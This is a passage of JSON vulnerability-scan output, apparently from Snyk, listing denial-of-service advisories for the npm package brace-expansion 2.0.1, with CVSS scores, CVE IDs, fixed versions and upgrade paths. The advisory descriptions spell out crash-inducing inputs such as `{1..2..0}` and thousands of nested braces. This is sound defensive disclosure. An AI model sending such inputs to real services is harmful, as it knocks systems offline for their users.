"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub 